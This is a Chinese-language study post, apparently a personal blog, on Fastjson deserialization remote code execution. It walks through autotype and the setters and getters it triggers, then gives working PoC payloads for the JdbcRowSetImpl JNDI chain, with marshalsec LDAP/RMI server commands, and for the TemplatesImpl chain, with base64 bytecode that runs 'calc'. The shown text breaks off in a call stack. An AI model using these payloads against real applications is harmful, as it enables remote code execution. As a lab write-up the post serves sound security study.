[Java安全]—fastjson漏洞利用
时间:2023-10-02 20:37:01
前言
这两天出门就不学新东西了,两点睡不着。起床学习fastjson弥补下一步。
Fastjson
Fastjson 组件是阿里巴巴开发的反序列化和序列化组件
Fastjson当反序列化不可信数据时,组件会导致远程代码执行。
- Fastjson 允许用户输入反序列化功能 JSON 串时通过 “@type” 键对应的 value 指定任何反序列化名称
- Fastjson 自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的 setter 方法及部分 getter 方法。攻击者可以构建恶意请求,使目标应用的代码执行过程进入这部分 setter 或 getter 如果上述方法中有可恶意使用的逻辑(通常称为) “Gadget” ),会造成一些严重的安全问题。官方采用黑名单验证反序列化类名,但随着时间的推移和自动化漏洞挖掘能力的提高。新 Gadget 它将继续出现。黑名单只会导致不断绕过,给使用该组件的用户带来升级版本的麻烦
依赖
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency> </dependencies>
POJO
POJO 是 Plain OrdinaryJava Object 的缩写,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类
Demo
package fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Student {
private String name; private int age; public Student() {
System.out.println("构造函数"); } public String getName() {
System.out.println"getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) throws Exception{
System.out.println("setAge");
this.age = age;
}
public void setTest(int i){
System.out.println("setTest");
}
public static void test1() throws Exception {
Student student = new Student();
student.setAge(18);
student.setName("Sentiment");
System.out.println("====================");
String jsonString1 = JSON.toJSONString(student);
System.out.println("====================");
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
System.out.println(jsonString2);
}
public static void test2()throws Exception{
String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
}
public static void main(String[] args) throws Exception {
test1();
//test2();
}
}
结果:
构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{
"age":18,"name":"Sentiment"}
{
"@type":"fastjson.Student","age":18,"name":"Sentiment"}
test1
可以看到调用JSON.toJSONString
时会自动调用对应的getter
其次是若加上SerializerFeature.WriteClassName
,则返回的内容除属性值外,还会加上@type字段指明类
test2
此时调用test2,将JSON字符串转换成对象
String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
结果:
{
"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{
"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
getAge
getName
{
"name":"Sentiment","age":18}
======================
可以看到:
当不加上@type
指明类,是得不到类对象的
当对加上@type
字段的字符串进行转换后,除了能得到类对象外,parse
会调用对应的setter
,parseObject
会调用setter
和getter
这种@type
的方式也叫做autotype:
autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。
set开头的方法要求:
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
get开头的方法要求:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon
JdbcRowSetImpl链结合JNDI注入
fastjson<1.2.24
流程分析
在上边test1中自动调用getter
时应该可以联想到前边shiro反序列化(三)中提到的Commons-Beanutils
链中的动态调用getter
的方法PropertyUtils.getProperty
即:当传入outputProperties
时会自动调用getOutputProperties
,所以这里也可以用这种方式来调用关键的两个方法:setDataSourceName()
和setAutoCommit()
setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
若this.conn==null
,会调用this.connect()
,
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
connect()中若this.getDataSourceName() != null
,则会调用lookup
,进而通过rmi等协议远程类加载
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
所以看一下getDataSourceName()
的值
public String getDataSourceName() {
return dataSource;
}
是由dataSource
决定的,并且在BaseRowSet.setDataSourceName()
中可以决定了他的值
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
而JdbcRowSetImpl.setDataSourceName
调用了BaseRowSet.setDataSourceName()
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
所以基本思路也就出来了,通过@type机制调用dataSourceName
和autoCommit
并对其赋值,调用时自动加上前缀set就调用到了我们刚才说到的两个方法进而触发类加载代码执行
攻击实现
攻击方式也跟JNDI的LDAP方式一样
开启本地服务
python -m http.server 7777
使用marshalsec构建LDAP服务,服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999
poc
package fastjson;
import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;
class demo1{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
RMI同样也可以
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/#Exec 9999
poc
package fastjson;
import com.alibaba.fastjson.JSON;
class demo1{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
TemplatesImpl动态加载字节码
攻击实现
这里的流程挺难理解的,先给出poc之后再根据简单的调试调试分析下内容。
TemplatesPoc.java
package fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TemplatesPoc extends AbstractTranslet {
public TemplatesPoc() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TemplatesPoc t = new TemplatesPoc();
}
}
把字节码base64加密后传入payload
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class Templates {
public static void main(String[] args) {
String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMZmFzdGpzb24vVGVtcGxhdGVzUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQARVGVtcGxhdGVzUG9jLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAVZmFzdGpzb24vVGVtcGxhdGVzUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],\"_name\":\"Sentiment\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(jsonString, Feature.SupportNonPublicField);
}
}
流程分析
调用deserialze
后会调用parseField()
方法
fieldDeserializer.parseField(parser, object, objectType, fieldValues);
跟进后解析出_bytecodes
对应的内容,接着会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
setValue(object, value);
跟进setValue()
,获取method后,经过if判断fieldInfo.getOnly
为false所以进入下边的set方法来设置_bytecodes
的值
接着解析到_outputProperties
的内容时fieldInfo.getOnly
判断为true进入if语句中,调用method.invoke(object)
之后的调用就跟TemplatesImpl
链的一模一样了
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass
调用栈:
<init>:14, TemplatesPoc (fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
getTransletInstance:457, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.